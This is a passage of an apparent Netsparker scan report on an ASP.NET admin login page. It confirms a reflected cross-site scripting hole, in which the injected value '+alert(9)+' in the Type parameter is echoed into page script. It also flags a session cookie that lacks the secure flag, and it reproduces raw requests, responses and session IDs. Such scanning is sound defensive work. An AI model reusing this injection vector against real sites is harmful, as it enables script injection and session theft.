__VIEWSTATE=dDwxMTA4NTIwNzE2O3Q8O2w8aTwwPjtpPDE%2bOz47bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwwPjtpPDE%2bO2k8Mj47aTw0PjtpPDU%2bO2k8Nz47PjtsPHQ8cDxwPGw8VmlzaWJsZTs%2bO2w8bzxmPjs%2bPjs%2bOzs%2bO3Q8cDxwPGw8VGV4dDtWaXNpYmxlOz47bDxEaWQgeW91IGZvcmdldCB5b3VyIHBhc3N3b3JkPztvPGY%2bOz4%2bOz47Oz47dDxwPHA8bDxUZXh0Oz47bDxcZTs%2bPjs%2bOzs%2bO3Q8cDxwPGw8VGV4dDs%2bO2w8XGU7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFxlOz4%2bOz47Oz47dDw7bDxpPDA%2bOz47bDx0PDtsPGk8MT47aTwzPjtpPDc%2bO2k8OT47aTwxMT47aTwxMz47aTwxNT47aTwxNz47aTwxOT47PjtsPHQ8cDxwPGw8VGV4dDs%2bO2w8UGFzc3dvcmQgQXNzaXN0YW5jZTs%2bPjs%2bOzs%2bO3Q8cDxwPGw8VGV4dDs%2bO2w8VXNlciBOYW1lOz4%2bOz47Oz47dDxwPHA8bDxUZXh0Oz47bDxQbGVhc2UgZW50ZXIgdGhlIHVzZXJuYW1lIHlvdSB1c2UgdG8gbG9naW47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs%2bO2w8U2VjcmV0IFF1ZXN0aW9uO288Zj47Pj47Pjs7Pjt0PHA8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs%2bO2w8U2VjcmV0IEFuc3dlcjtvPGY%2bOz4%2bOz47Oz47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY%2bOz4%2bOz47Oz47dDxwPHA8bDxUZXh0Oz47bDxTdWJtaXQ7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPENhbmNlbDs%2bPjs%2bOzs%2bOz4%2bOz4%2bOz4%2bOz4%2bO3Q8cDxwPGw8VmlzaWJsZTs%2bO2w8bzxmPjs%2bPjs%2bOzs%2bOz4%2bOz7dH3muZizjItM3zCp3yFdiS577sw%3d%3d&secretQuestion%3AtxtUserName=Smith&secretQuestion%3AbtnCancel=Cancel

Response

HTTP/1.1 200 OK
Date: Mon, 02 May 2011 15:20:15 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 8274



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
<title>Login</title>
<META http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta content="Microsoft Visual Studio 7.0" name="GENERATOR">
<meta content="C#" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">
<meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
<script language="javascript" src="Includes/groupbar.js"></script>
<script language="javascript" src="Includes/textBox.js"></script>
<LINK href="CSS/WebAdmin.css" type="text/css" rel="stylesheet">
<LINK href="CSS/Main.css" type="text/css" rel="stylesheet">
<script language="javascript">
<!--
var Page_Validators_Old = new Array();
var OldPageValidatorUpdate=false;

function SetControlForValidation( ContainerName, enable)
{
if( OldPageValidatorUpdate == false )
{
for (var i=0; i<Page_Validators.length; i++)
Page_Validators_Old[i] = Page_Validators[i];
OldPageValidatorUpdate = true;
}

Page_Validators.length = 0;

// get the container object

var ContainerObj = document.all[ContainerName];
var currIndex=0;
for(var index=0;index<Page_Validators_Old.length;index++)
{
var obj = Page_Validators_Old[index];

// check if page_Validators Array contains an object which is child of container object
var childValidator = ContainerObj.all[obj.id];

// if the object is child of container
if( childValidator != null )
{
if( enable == false )
{
// remove it, so validation is not done
// RemoveValidatorControl(Page_Validators,Page_Validators_Old[index]);
}
else if( enable == true )
{
// add the object name to the Page_Validators array which is actually used in the script
// AddValidatorControl(Page_Validators,Page_Validators_Old[index]);
Page_Validators[currIndex] = Page_Validators_Old[index];
currIndex++;
}
}
}

Display(Page_Validators);
}

function SetControlForValidation2( ContainerName, enable, validatorControls )
{
Page_Validators.length = 0;
// get the container object
var ContainerObj = document.all[ContainerName];
var currIndex=0;
for(var index=0;index < validatorControls.length;index++)
{
var obj = validatorControls[index];

// check if page_Validators Array contains an object which is child of container object
var childValidator = ContainerObj.all[obj.id];

// if the object is child of container
if( childValidator != null )
{
if( enable == false )
{
// remove it, so validation is not done
}
else if( enable == true )
{
// add the object name to the Page_Validators array which is actually used in the script
Page_Validators[currIndex] = validatorControls[index];
currIndex++;
}
}
}

Display(Page_Validators);
}

function Display(array) {
var str="";
for (var index=0;index<array.length;index++)
{
str = str + ' , ' + array[index].id;
}
// alert( str );
}

function RemoveValidatorControl(array,value) {
for (var index=0;index<array.length;index++) {
if( array[index].id == value.id )
RemoveElement(index,array);
}
}

function AddValidatorControl(array,value) {
for (var index=0;index<array.length;index++)
{
if( array[index].id == value.id )
return;
}
array[array.length+1] = value;
}



function RemoveElement(array,itemIndex) {
for (;itemIndex<array.length;itemIndex++) {
// assigns the value of elementnr+1 to elementnr, so you move all items by 1
array[itemIndex] = array[itemIndex + 1];
}
array.length=array.length-1;
}

// -->
</script>


<script language="javascript">
function onLoad()
{


var logOutType = ''+netsparker(9)+'';
if( logOutType == 'Timeout' || logOutType == 'Forced' )
{
parent.HideAll();
MessageDisplay(true);
progressDisplay(false);
if( logOutType == 'Timeout' )
{
var bExit;
bExit = confirm('If you want to log out completely; click OK to close the browser window.Click Cancel to login again.');
if( bExit == true )
{
parent.opener = top;
parent.close();
}
}
parent.Login();
}
else
{
progressDisplay(false);
window.focus();
var username = document.all("UserName");
if( username != null )
username.focus();
}

}

function GracefulExit()
{
var bExit = false;
bExit = confirm('If you want to log out completely; click OK to close the browser window.Click Cancel to login again.');
if( bExit )
{
window.opener = top;
window.close();
}
}

function MessageDisplay(show)
{
var login_message2 = document.all("login_message2");
{
if( show == true )
{
login_message2.className = 'login_status_show';
loginpage_ui.style.visibility = "hidden";
}
else
{
loginpage_ui.style.visibility = "visible";
login_message2.className = 'login_status_hide';
}
}
return true;
}

function progressDisplay(show)
{
var login_status = document.all("login_status");
{
if( show == true )
{
login_status.className = 'login_status_show';
loginpage_ui.style.visibility = "hidden";
}
else
{
loginpage_ui.style.visibility = "visible";
login_status.className = 'login_status_hide';
}
}
return true;
}
</script>
</HEAD>
<body onload="onLoad()" MS_POSITIONING="GridLayout">
<div id="LoginPanel">

<form name="login" method="post" action="Login.aspx?Type='%2Bnetsparker(9)%2B'" id="login">
<input type="hidden" name="__VIEWSTATE" value="dDwxMTA4NTIwNzE2O3Q8O2w8aTwwPjtpPDE+Oz47bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwwPjtpPDE+O2k8Mj47aTw0PjtpPDU+Oz47bDx0PHA8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs+O2w8RGlkIHlvdSBmb3JnZXQgeW91ciBwYXNzd29yZD87bzxmPjs+Pjs+Ozs+O3Q8cDxwPGw8VGV4dDs+O2w8XGU7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFxlOz4+Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxZb3UgaGF2ZSBiZWVuIGxvZ2dlZCBvdXQgZHVlIHRvIGEgcGVyaW9kIG9mIGluYWN0aXZpdHkuOz4+Oz47Oz47Pj47Pj47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY+Oz4+Oz47Oz47Pj47PlCgGx0cf+a0fQHvKAyDAkMv5bRu" />


<table align = center cellpadding=0 cellspacing=0 border=0 >


<tr>

<td valign = top width = 400 height = 200 >
<table id="loginpage_ui" align="center">
<tr>
<td>
<table align="center">
<tr>
<td align="left">
</td>
</tr>
</table>
<table width="400px" align=center>
<tr>
<td align=right></td>
</tr>
</table>
<table width="400px" align="center">
<tr>
<td class="Error" id="login_message" align="center">
<span id="lbMessage" style="color:Red;width:504px;"></span>
<div id="ValidationSummary1" showmessagebox="True" style="color:Red;width:530px;display:none;">

</div>
</td>
</tr>
<tr>
<td align=center><span id="lbHelpMessage" class="label"></span></td>
</tr>
<tr>
<td class="login_status_hide" id="login_message2" align="center">
<span id="lbLogoutMessage" style="width:416px;">You have been logged out due to a period of inactivity.</span></td>
</tr>
</table>
<br>
<table align="center">
<tr>
<td align="left"></td>
</tr>
</table>

<table align="center">
<tr>
<td class="login_status_hide" id="login_status" vAlign="middle" align="center">Please wait while the user is being verified <IMG src="Images/Misc/Login-Anim.gif" align="absMiddle"></td>
</tr>
</table>
</TD></TR></TABLE>


</td>

</tr>


</table>

<script language="javascript" type="text/javascript">
<!--
var Page_ValidationSummaries = new Array(document.all["ValidationSummary1"]);
// -->
</script>

</form>

</div>



</BODY>
</HTML>
- /Login.aspx

/Login.aspx CONFIRMED

https://admin.iconnection.com/Login.aspx?Type='%2Balert(9)%2B'

Parameters

Parameter Type Value
Type GET '+alert(9)+'
__VIEWSTATE POST dDwxMTA4NTIwNzE2O3Q8O2w8aTwwPjtpPDE Oz47bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwwPjtpPDE O2k8Mj47aTw0PjtpPDU O2k8Nz47PjtsPHQ8cDxwPGw8VmlzaWJsZTs O2w8bzxmPjs Pjs Ozs O3Q8cDxwPGw8VGV4dDtWaXNpYmxlOz47bDxEaWQgeW91IGZvcmdldCB5b3VyIHBhc3N3b3JkPztvPGY Oz4 Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxcZTs Pjs Ozs O3Q8cDxwPGw8VGV4dDs O2w8XGU7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFxlOz4 Oz47Oz47dDw7bDxpPDA Oz47bDx0PDtsPGk8MT47aTwzPjtpPDc O2k8OT47aTwxMT47aTwxMz47aTwxNT47aTwxNz47aTwxOT47PjtsPHQ8cDxwPGw8VGV4dDs O2w8UGFzc3dvcmQgQXNzaXN0YW5jZTs Pjs Ozs O3Q8cDxwPGw8VGV4dDs O2w8VXNlciBOYW1lOz4 Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxQbGVhc2UgZW50ZXIgdGhlIHVzZXJuYW1lIHlvdSB1c2UgdG8gbG9naW47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs O2w8U2VjcmV0IFF1ZXN0aW9uO288Zj47Pj47Pjs7Pjt0PHA8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs O2w8U2VjcmV0IEFuc3dlcjtvPGY Oz4 Oz47Oz47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY Oz4 Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxTdWJtaXQ7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPENhbmNlbDs Pjs Ozs Oz4 Oz4 Oz4 Oz4 O3Q8cDxwPGw8VmlzaWJsZTs O2w8bzxmPjs Pjs Ozs Oz4 Oz7dH3muZizjItM3zCp3yFdiS577sw==
secretQuestion%3AtxtUserName POST Smith

Request

POST /Login.aspx?Type='%2Bnetsparker(9)%2B' HTTP/1.1
Referer: https://admin.iconnection.com/Login.aspx?Type=ForgotPassword
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: admin.iconnection.com
Cookie: ASP.NET_SessionId=fni0h455t4pmfn2dwf40o0yr
Content-Length: 1195
Accept-Encoding: gzip, deflate

__VIEWSTATE=dDwxMTA4NTIwNzE2O3Q8O2w8aTwwPjtpPDE%2bOz47bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwwPjtpPDE%2bO2k8Mj47aTw0PjtpPDU%2bO2k8Nz47PjtsPHQ8cDxwPGw8VmlzaWJsZTs%2bO2w8bzxmPjs%2bPjs%2bOzs%2bO3Q8cDxwPGw8VGV4dDtWaXNpYmxlOz47bDxEaWQgeW91IGZvcmdldCB5b3VyIHBhc3N3b3JkPztvPGY%2bOz4%2bOz47Oz47dDxwPHA8bDxUZXh0Oz47bDxcZTs%2bPjs%2bOzs%2bO3Q8cDxwPGw8VGV4dDs%2bO2w8XGU7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFxlOz4%2bOz47Oz47dDw7bDxpPDA%2bOz47bDx0PDtsPGk8MT47aTwzPjtpPDc%2bO2k8OT47aTwxMT47aTwxMz47aTwxNT47aTwxNz47aTwxOT47PjtsPHQ8cDxwPGw8VGV4dDs%2bO2w8UGFzc3dvcmQgQXNzaXN0YW5jZTs%2bPjs%2bOzs%2bO3Q8cDxwPGw8VGV4dDs%2bO2w8VXNlciBOYW1lOz4%2bOz47Oz47dDxwPHA8bDxUZXh0Oz47bDxQbGVhc2UgZW50ZXIgdGhlIHVzZXJuYW1lIHlvdSB1c2UgdG8gbG9naW47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs%2bO2w8U2VjcmV0IFF1ZXN0aW9uO288Zj47Pj47Pjs7Pjt0PHA8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs%2bO2w8U2VjcmV0IEFuc3dlcjtvPGY%2bOz4%2bOz47Oz47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY%2bOz4%2bOz47Oz47dDxwPHA8bDxUZXh0Oz47bDxTdWJtaXQ7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPENhbmNlbDs%2bPjs%2bOzs%2bOz4%2bOz4%2bOz4%2bOz4%2bO3Q8cDxwPGw8VmlzaWJsZTs%2bO2w8bzxmPjs%2bPjs%2bOzs%2bOz4%2bOz7dH3muZizjItM3zCp3yFdiS577sw%3d%3d&secretQuestion%3AtxtUserName=Smith

Response

HTTP/1.1 200 OK
Date: Mon, 02 May 2011 15:20:26 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 8274



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
<title>Login</title>
<META http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta content="Microsoft Visual Studio 7.0" name="GENERATOR">
<meta content="C#" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">
<meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
<script language="javascript" src="Includes/groupbar.js"></script>
<script language="javascript" src="Includes/textBox.js"></script>
<LINK href="CSS/WebAdmin.css" type="text/css" rel="stylesheet">
<LINK href="CSS/Main.css" type="text/css" rel="stylesheet">
<script language="javascript">
<!--
var Page_Validators_Old = new Array();
var OldPageValidatorUpdate=false;

function SetControlForValidation( ContainerName, enable)
{
if( OldPageValidatorUpdate == false )
{
for (var i=0; i<Page_Validators.length; i++)
Page_Validators_Old[i] = Page_Validators[i];
OldPageValidatorUpdate = true;
}

Page_Validators.length = 0;

// get the container object

var ContainerObj = document.all[ContainerName];
var currIndex=0;
for(var index=0;index<Page_Validators_Old.length;index++)
{
var obj = Page_Validators_Old[index];

// check if page_Validators Array contains an object which is child of container object
var childValidator = ContainerObj.all[obj.id];

// if the object is child of container
if( childValidator != null )
{
if( enable == false )
{
// remove it, so validation is not done
// RemoveValidatorControl(Page_Validators,Page_Validators_Old[index]);
}
else if( enable == true )
{
// add the object name to the Page_Validators array which is actually used in the script
// AddValidatorControl(Page_Validators,Page_Validators_Old[index]);
Page_Validators[currIndex] = Page_Validators_Old[index];
currIndex++;
}
}
}

Display(Page_Validators);
}

function SetControlForValidation2( ContainerName, enable, validatorControls )
{
Page_Validators.length = 0;
// get the container object
var ContainerObj = document.all[ContainerName];
var currIndex=0;
for(var index=0;index < validatorControls.length;index++)
{
var obj = validatorControls[index];

// check if page_Validators Array contains an object which is child of container object
var childValidator = ContainerObj.all[obj.id];

// if the object is child of container
if( childValidator != null )
{
if( enable == false )
{
// remove it, so validation is not done
}
else if( enable == true )
{
// add the object name to the Page_Validators array which is actually used in the script
Page_Validators[currIndex] = validatorControls[index];
currIndex++;
}
}
}

Display(Page_Validators);
}

function Display(array) {
var str="";
for (var index=0;index<array.length;index++)
{
str = str + ' , ' + array[index].id;
}
// alert( str );
}

function RemoveValidatorControl(array,value) {
for (var index=0;index<array.length;index++) {
if( array[index].id == value.id )
RemoveElement(index,array);
}
}

function AddValidatorControl(array,value) {
for (var index=0;index<array.length;index++)
{
if( array[index].id == value.id )
return;
}
array[array.length+1] = value;
}



function RemoveElement(array,itemIndex) {
for (;itemIndex<array.length;itemIndex++) {
// assigns the value of elementnr+1 to elementnr, so you move all items by 1
array[itemIndex] = array[itemIndex + 1];
}
array.length=array.length-1;
}

// -->
</script>


<script language="javascript">
function onLoad()
{


var logOutType = ''+netsparker(9)+'';
if( logOutType == 'Timeout' || logOutType == 'Forced' )
{
parent.HideAll();
MessageDisplay(true);
progressDisplay(false);
if( logOutType == 'Timeout' )
{
var bExit;
bExit = confirm('If you want to log out completely; click OK to close the browser window.Click Cancel to login again.');
if( bExit == true )
{
parent.opener = top;
parent.close();
}
}
parent.Login();
}
else
{
progressDisplay(false);
window.focus();
var username = document.all("UserName");
if( username != null )
username.focus();
}

}

function GracefulExit()
{
var bExit = false;
bExit = confirm('If you want to log out completely; click OK to close the browser window.Click Cancel to login again.');
if( bExit )
{
window.opener = top;
window.close();
}
}

function MessageDisplay(show)
{
var login_message2 = document.all("login_message2");
{
if( show == true )
{
login_message2.className = 'login_status_show';
loginpage_ui.style.visibility = "hidden";
}
else
{
loginpage_ui.style.visibility = "visible";
login_message2.className = 'login_status_hide';
}
}
return true;
}

function progressDisplay(show)
{
var login_status = document.all("login_status");
{
if( show == true )
{
login_status.className = 'login_status_show';
loginpage_ui.style.visibility = "hidden";
}
else
{
loginpage_ui.style.visibility = "visible";
login_status.className = 'login_status_hide';
}
}
return true;
}
</script>
</HEAD>
<body onload="onLoad()" MS_POSITIONING="GridLayout">
<div id="LoginPanel">

<form name="login" method="post" action="Login.aspx?Type='%2Bnetsparker(9)%2B'" id="login">
<input type="hidden" name="__VIEWSTATE" value="dDwxMTA4NTIwNzE2O3Q8O2w8aTwwPjtpPDE+Oz47bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwwPjtpPDE+O2k8Mj47aTw0PjtpPDU+Oz47bDx0PHA8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs+O2w8RGlkIHlvdSBmb3JnZXQgeW91ciBwYXNzd29yZD87bzxmPjs+Pjs+Ozs+O3Q8cDxwPGw8VGV4dDs+O2w8XGU7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFxlOz4+Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxZb3UgaGF2ZSBiZWVuIGxvZ2dlZCBvdXQgZHVlIHRvIGEgcGVyaW9kIG9mIGluYWN0aXZpdHkuOz4+Oz47Oz47Pj47Pj47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY+Oz4+Oz47Oz47Pj47PlCgGx0cf+a0fQHvKAyDAkMv5bRu" />


<table align = center cellpadding=0 cellspacing=0 border=0 >


<tr>

<td valign = top width = 400 height = 200 >
<table id="loginpage_ui" align="center">
<tr>
<td>
<table align="center">
<tr>
<td align="left">
</td>
</tr>
</table>
<table width="400px" align=center>
<tr>
<td align=right></td>
</tr>
</table>
<table width="400px" align="center">
<tr>
<td class="Error" id="login_message" align="center">
<span id="lbMessage" style="color:Red;width:504px;"></span>
<div id="ValidationSummary1" showmessagebox="True" style="color:Red;width:530px;display:none;">

</div>
</td>
</tr>
<tr>
<td align=center><span id="lbHelpMessage" class="label"></span></td>
</tr>
<tr>
<td class="login_status_hide" id="login_message2" align="center">
<span id="lbLogoutMessage" style="width:416px;">You have been logged out due to a period of inactivity.</span></td>
</tr>
</table>
<br>
<table align="center">
<tr>
<td align="left"></td>
</tr>
</table>

<table align="center">
<tr>
<td class="login_status_hide" id="login_status" vAlign="middle" align="center">Please wait while the user is being verified <IMG src="Images/Misc/Login-Anim.gif" align="absMiddle"></td>
</tr>
</table>
</TD></TR></TABLE>


</td>

</tr>


</table>

<script language="javascript" type="text/javascript">
<!--
var Page_ValidationSummaries = new Array(document.all["ValidationSummary1"]);
// -->
</script>

</form>

</div>



</BODY>
</HTML>
Cookie Not Marked As Secure

Cookie Not Marked As Secure

1 TOTAL
IMPORTANT
CONFIRMED
1
A Cookie was not marked as secure and transmitted over HTTPS. This means the cookie could potentially be stolen by an attacker who can successfully intercept and decrypt the traffic or following a successful MITM (Man in the middle) attack.

Impact

This cookie will be transmitted over a HTTP connection, therefore if this cookie is important (such as a session cookie) an attacker might intercept it and hijack a victim's session. If the attacker can carry out a MITM attack, he/she can force victim to make a HTTP request to steal the cookie.

Actions to Take

  1. See the remedy for solution.
  2. Mark all cookies used within the application as secure. (If the cookie is not related to authentication or does not carry any personal information you do not have to mark it as secure.))

Remedy

Mark all cookies used within the application as secure.

Required Skills for Successful Exploitation

To exploit this issue, the attacker needs to be able to intercept traffic. This generally requires local access to the web server or victim's network. Attackers need to be understand layer 2, have physical access to systems either as way points for the traffic, or locally (have gained access to) to a system between the victim and the web server.
- /login.aspx

/login.aspx CONFIRMED

https://admin.iconnection.com/login.aspx

Identified Cookie

ASP.NET_SessionId

Request

GET /login.aspx HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: admin.iconnection.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 02 May 2011 15:18:18 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Set-Cookie: ASP.NET_SessionId=y2pj0syrlzde1sb3kjzsz145; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 9824



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
<title>Login</title>
<META http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta content="Microsoft Visual Studio 7.0" name="GENERATOR">
<meta content="C#" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">
<meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
<script language="javascript" src="Includes/groupbar.js"></script>
<script language="javascript" src="Includes/textBox.js"></script>
<LINK href="CSS/WebAdmin.css" type="text/css" rel="stylesheet">
<LINK href="CSS/Main.css" type="text/css" rel="stylesheet">
<script language="javascript">
<!--
var Page_Validators_Old = new Array();
var OldPageValidatorUpdate=false;

function SetControlForValidation( ContainerName, enable)
{
if( OldPageValidatorUpdate == false )
{
for (var i=0; i<Page_Validators.length; i++)
Page_Validators_Old[i] = Page_Validators[i];
OldPageValidatorUpdate = true;
}

Page_Validators.length = 0;

// get the container object

var ContainerObj = document.all[ContainerName];
var currIndex=0;
for(var index=0;index<Page_Validators_Old.length;index++)
{
var obj = Page_Validators_Old[index];

// check if page_Validators Array contains an object which is child of container object
var childValidator = ContainerObj.all[obj.id];

// if the object is child of container
if( childValidator != null )
{
if( enable == false )
{
// remove it, so validation is not done
// RemoveValidatorControl(Page_Validators,Page_Validators_Old[index]);
}
else if( enable == true )
{
// add the object name to the Page_Validators array which is actually used in the script
// AddValidatorControl(Page_Validators,Page_Validators_Old[index]);
Page_Validators[currIndex] = Page_Validators_Old[index];
currIndex++;
}
}
}

Display(Page_Validators);
}

function SetControlForValidation2( ContainerName, enable, validatorControls )
{
Page_Validators.length = 0;
// get the container object
var ContainerObj = document.all[ContainerName];
var currIndex=0;
for(var index=0;index < validatorControls.length;index++)
{
var obj = validatorControls[index];

// check if page_Validators Array contains an object which is child of container object
var childValidator = ContainerObj.all[obj.id];

// if the object is child of container
if( childValidator != null )
{
if( enable == false )
{
// remove it, so validation is not done
}
else if( enable == true )
{
// add the object name to the Page_Validators array which is actually used in the script
Page_Validators[currIndex] = validatorControls[index];
currIndex++;
}
}
}

Display(Page_Validators);
}

function Display(array) {
var str="";
for (var index=0;index<array.length;index++)
{
str = str + ' , ' + array[index].id;
}
// alert( str );
}

function RemoveValidatorControl(array,value) {
for (var index=0;index<array.length;index++) {
if( array[index].id == value.id )
RemoveElement(index,array);
}
}

function AddValidatorControl(array,value) {
for (var index=0;index<array.length;index++)
{
if( array[index].id == value.id )
return;
}
array[array.length+1] = value;
}



function RemoveElement(array,itemIndex) {
for (;itemIndex<array.length;itemIndex++) {
// assigns the value of elementnr+1 to elementnr, so you move all items by 1
array[itemIndex] = array[itemIndex + 1];
}
array.length=array.length-1;
}

// -->
</script>


<script language="javascript">
function onLoad()
{


var logOutType = '';
if( logOutType == 'Timeout' || logOutType == 'Forced' )
{
parent.HideAll();
MessageDisplay(true);
progressDisplay(false);
if( logOutType == 'Timeout' )
{
var bExit;
bExit = confirm('');
if( bExit == true )
{
parent.opener = top;
parent.close();
}
}
parent.Login();
}
else
{
progressDisplay(false);
window.focus();
var username = document.all("UserName");
if( username != null )
username.focus();
}

}

function GracefulExit()
{
var bExit = false;
bExit = confirm('');
if( bExit )
{
window.opener = top;
window.close();
}
}

function MessageDisplay(show)
{
var login_message2 = document.all("login_message2");
{
if( show == true )
{
login_message2.className = 'login_status_show';
loginpage_ui.style.visibility = "hidden";
}
else
{
loginpage_ui.style.visibility = "visible";
login_message2.className = 'login_status_hide';
}
}
return true;
}

function progressDisplay(show)
{
var login_status = document.all("login_status");
{
if( show == true )
{
login_status.className = 'login_status_show';
loginpage_ui.style.visibility = "hidden";
}
else
{
loginpage_ui.style.visibility = "visible";
login_status.className = 'login_status_hide';
}
}
return true;
}
</script>
</HEAD>
<body onload="onLoad()" MS_POSITIONING="GridLayout">
<div id="LoginPanel">

<form name="login" method="post" action="login.aspx" id="login">
<input type="hidden" name="__VIEWSTATE" value="dDwxMTA4NTIwNzE2O3Q8O2w8aTwwPjtpPDE+Oz47bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwxPjtpPDI+O2k8ND47aTw1Pjs+O2w8dDxwPHA8bDxUZXh0Oz47bDxEaWQgeW91IGZvcmdldCB5b3VyIHBhc3N3b3JkPzs+Pjs+Ozs+O3Q8cDxwPGw8VGV4dDs+O2w8XGU7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFxlOz4+Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxcZTs+Pjs+Ozs+Oz4+Oz4+O3Q8cDxwPGw8VmlzaWJsZTs+O2w8bzxmPjs+Pjs+Ozs+Oz4+Oz66y7FxYqVqOLBoPrtcGUOBGRbzQA==" />
<script src='/Includes/groupbar.js' language='javascript'></script>


<script language='javascript'> var ImageURL = '/Images/';</script>

<script src='/Includes/tecosHelp.js' language='javascript'></script>




<table align = center cellpadding=0 cellspacing=0 border=0 >


<tr>

<td valign = top width = 400 height = 200 >
<table id="loginpage_ui" align="center">
<tr>
<td>
<table align="center">
<tr>
<td align="left"><table id='LoginGroupBar' cellpadding='0' cellspacing='0' Width=400px>
<tr onclick="Swap('1','LoginGroupBar_GroupBarItem')">
<td Class='GroupHeading' bgcolor=#D4D0C8><img src='/Images/WebAdmin/Minus.gif' border='0' hspace='5' WIDTH='12' HEIGHT='15' id='LoginGroupBar_GroupBarItemIcon'>Login Details</td><td Class='GroupHeading' bgcolor=#D4D0C8></td>
</tr><tr><td colspan=3 height='5px'></td></tr></table><table cellpadding="0" cellspacing="0" id="LoginGroupBar_GroupBarItem" width="400px" style="display: '';">
<tr>
<td id="LoginGroupBarItemPlaceHolder">
<TABLE cellSpacing="0" cellPadding="0">
<TR>
<TD align="left"><LABEL class="label">User Name&nbsp;: </LABEL>
</TD>
<TD><INPUT class="Left" onactivate="SetClass()" id="UserName" style="WIDTH: 300px" ondeactivate="SetClass()"
tabIndex="1" type="text" name="UserName" autocomplete="on" value = "">
</TD>
</TR>
<TR>
<TD align="left"><LABEL class="label">Password&nbsp;: </LABEL>
</TD>
<TD><INPUT class="Left" onactivate="SetClass()" id="Password" style="WIDTH: 300px" ondeactivate="SetClass()"
tabIndex="2" type="password" name="Password" value = "">
</TD>
</TR>
<TR>
<TD align="right" height="50px">&nbsp;</TD>
<td align="right">
<INPUT onclick="return progressDisplay(true)" tabIndex="3" type="submit" value=" Login ">
</TD>
</TR>
</TABLE>
</td>
</tr>
</table>
</td>
</tr>
</table>
<table width="400px" align=center>
<tr>
<td align=right><a id="ForgotPasswordLink" href="Login.aspx?Type=ForgotPassword">Did you forget your password?</a></td>
</tr>
</table>
<table width="400px" align="center">
<tr>
<td class="Error" id="login_message" align="center">
<span id="lbMessage" style="color:Red;width:504px;"></span>
<div id="ValidationSummary1" showmessagebox="True" style="color:Red;width:530px;display:none;">

</div>
</td>
</tr>
<tr>
<td align=center><span id="lbHelpMessage" class="label"></span></td>
</tr>
<tr>
<td class="login_status_hide" id="login_message2" align="center">
<span id="lbLogoutMessage" style="width:416px;"></span></td>
</tr>
</table>
<br>
<table align="center">
<tr>
<td align="left"></td>
</tr>
</table>

<table align="center">
<tr>
<td class="login_status_hide" id="login_status" vAlign="middle" align="center">Please wait while the user is being verified <IMG src="Images/Misc/Login-Anim.gif" align="absMiddle"></td>
</tr>
